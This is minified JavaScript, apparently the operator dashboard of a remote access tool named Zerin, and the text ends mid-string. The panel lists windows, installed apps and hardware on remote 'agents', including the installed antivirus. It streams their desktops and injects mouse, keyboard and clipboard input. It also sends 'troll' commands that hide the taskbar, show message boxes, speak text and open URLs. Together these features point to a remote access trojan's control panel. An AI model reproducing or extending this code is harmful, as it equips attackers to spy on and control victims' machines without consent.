x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(z=>z.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const z=JSON.parse(N.output);r(z)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const A=30;v.current=setInterval(async()=>{var _;S++;try{const P=(_=(await Xn(e)).results)==null?void 0:_.find(I=>I.task_id===k);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else S>=A&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]);function w(k){p===k?g(S=>S==="asc"?"desc":"asc"):(h(k),g("asc"))}const N=[...d?n.filter(k=>{const S=d.toLowerCase();return k.name.toLowerCase().includes(S)||k.version.toLowerCase().includes(S)||k.publisher.toLowerCase().includes(S)}):n].sort((k,S)=>{const A=k[p]||"",_=S[p]||"",O=A.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),z=({col:k})=>p!==k?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(z,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(z,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(z,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(z,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((k,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:k.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:k.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:k.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:k.install_date||"-"})]},`${k.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function eV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const G=A.current;u(te=>te.fps===G.fps&&te.frameCount===G.frameCount&&te.dirtyTiles===G.dirtyTiles&&te.totalTiles===G.totalTiles?te:{fps:G.fps,frameCount:G.frameCount,width:G.width,height:G.height,lastFrameMs:G.lastFrameMs,dirtyTiles:G.dirtyTiles,totalTiles:G.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const Y=m.useCallback((G,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==G||C.height!==te)&&(C.width=G,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=m.useRef(new ArrayBuffer(5)),M=m.useRef(new DataView(D.current)),W=m.useCallback(G=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(G)},[]),$=m.useMemo(()=>({sendMouseMove:(G,te)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,G,!0),C.setUint16(3,te,!0),W(D.current)},sendMouseButton:(G,te,C,q)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,G),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,q,!0),W(ne)},sendMouseScroll:(G,te,C)=>{const q=new ArrayBuffer(7),ne=new DataView(q);ne.setUint8(0,3),ne.setInt16(1,G,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),W(q)},sendKey:(G,te,C)=>{const q=new ArrayBuffer(8),ne=new DataView(q);ne.setUint8(0,4),ne.setUint8(1,G),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),W(q)},sendClipboard:G=>{const te=new TextEncoder().encode(G),C=new ArrayBuffer(5+te.length),q=new DataView(C);q.setUint8(0,5),q.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),W(C)},setQuality:G=>{I.current=G;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,G),W(te)},setViewOnly:G=>{d.current=G},sendControl:(G,te)=>{const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,G),q.setUint8(2,te),W(C)}}),[W]),H=m.useCallback(()=>{if(!D2||f.current)return;const G=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});G.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:q,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,q,ne,B,le)}},f.current=G},[]),F=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),K=m.useCallback(()=>{if(D2||b.current!==null)return;const G=()=>{const te=y.current,C=g.current,q=w.current;if((te.length>0||C.length>0)&&q){const{canvas:ne,ctx:B}=Y(q.width,q.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,q.width,q.height,q.cursorX,q.cursorY)}b.current=requestAnimationFrame(G)};b.current=requestAnimationFrame(G)},[Y]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const G of g.current)G.bitmap.close();g.current=[],y.current=[]},[]),oe=m.useCallback(()=>{if(O.current!==null)return;const G=64*1024;O.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>G&&!P.current){P.current=!0;const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,1),q.setUint8(2,30),W(C)}else if(te.bufferedAmount<=G/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),q=new DataView(C);q.setUint8(0,6),q.setUint8(1,1),q.setUint8(2,I.current),W(C)}}},250)},[W]),de=m.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const G=st();if(!G)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(G)}`,q=new WebSocket(C);q.binaryType="arraybuffer",i.current=q,q.onopen=()=>{l(!0),H(),K(),oe()},q.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),R=performance.now(),fe=z.current,ve=k.current%N;fe[ve]=R,k.current=ve+1,S.current1){const Q=fe[(ve+1-ae+N)%N],he=(R-Q)/1e3;he>0&&(V=Math.round((ae-1)/he))}const U=A.current;if(U.frameCount++,U.fps=V,U.width=le,U.height=we,U.lastFrameMs=Ne,Ae===1){const Q=eV(B,13,ne.data.byteLength);U.dirtyTiles=Q.numDirty,U.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{U.dirtyTiles=0,U.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},q.onclose=()=>{l(!1),i.current=null,F(),Z(),de(),r==null||r()},q.onerror=()=>{q.close()}},[e,t,r,H,F,K,Z,oe,de]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),F(),Z(),de(),l(!1)},[F,Z,de]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),F(),Z(),de()},[F,Z,de]),{isConnected:o,stats:c,controls:$,connect:be,disconnect:ye}}function tV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[z,k]=m.useState(!1),[S,A]=m.useState("https://"),[_,O]=m.useState(!1),[P,I]=m.useState(""),[Y,D]=m.useState(!1),[M,W]=m.useState(!1),[$,H]=m.useState(!1),[F,K]=m.useState(!1),[Z,oe]=m.useState(!1),[de,be]=m.useState(!1),ye=(V,ae="ok")=>{f({text:V,type:ae}),setTimeout(()=>f(null),2500)},G=m.useCallback((V,ae,U)=>{s.current||(s.current=!0,i(!0)),l({w:ae,h:U});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==ae||Q.height!==U)&&(Q.width=ae,Q.height=U),typeof V=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=V}else V instanceof ImageBitmap?(he.drawImage(V,0,0),V.close()):he.drawImage(V,0,0)},[]),{isConnected:te,stats:C,connect:q}=Nv({agentId:e,onFrame:G}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Px(e).then(()=>q()).catch(()=>{q()})},[e,q,ne]);const le=async(V,ae)=>{try{await Me(e,{command:V,args:ae}),ye(`Sent: ${V}`)}catch{ye(`Failed: ${V}`,"err")}},we=()=>{const V=!c;u(V),le("troll_taskbar",[V?"show":"hide"])},Ne=(V,ae,U)=>{const Q=!V;ae(Q),le(U,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},R=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or 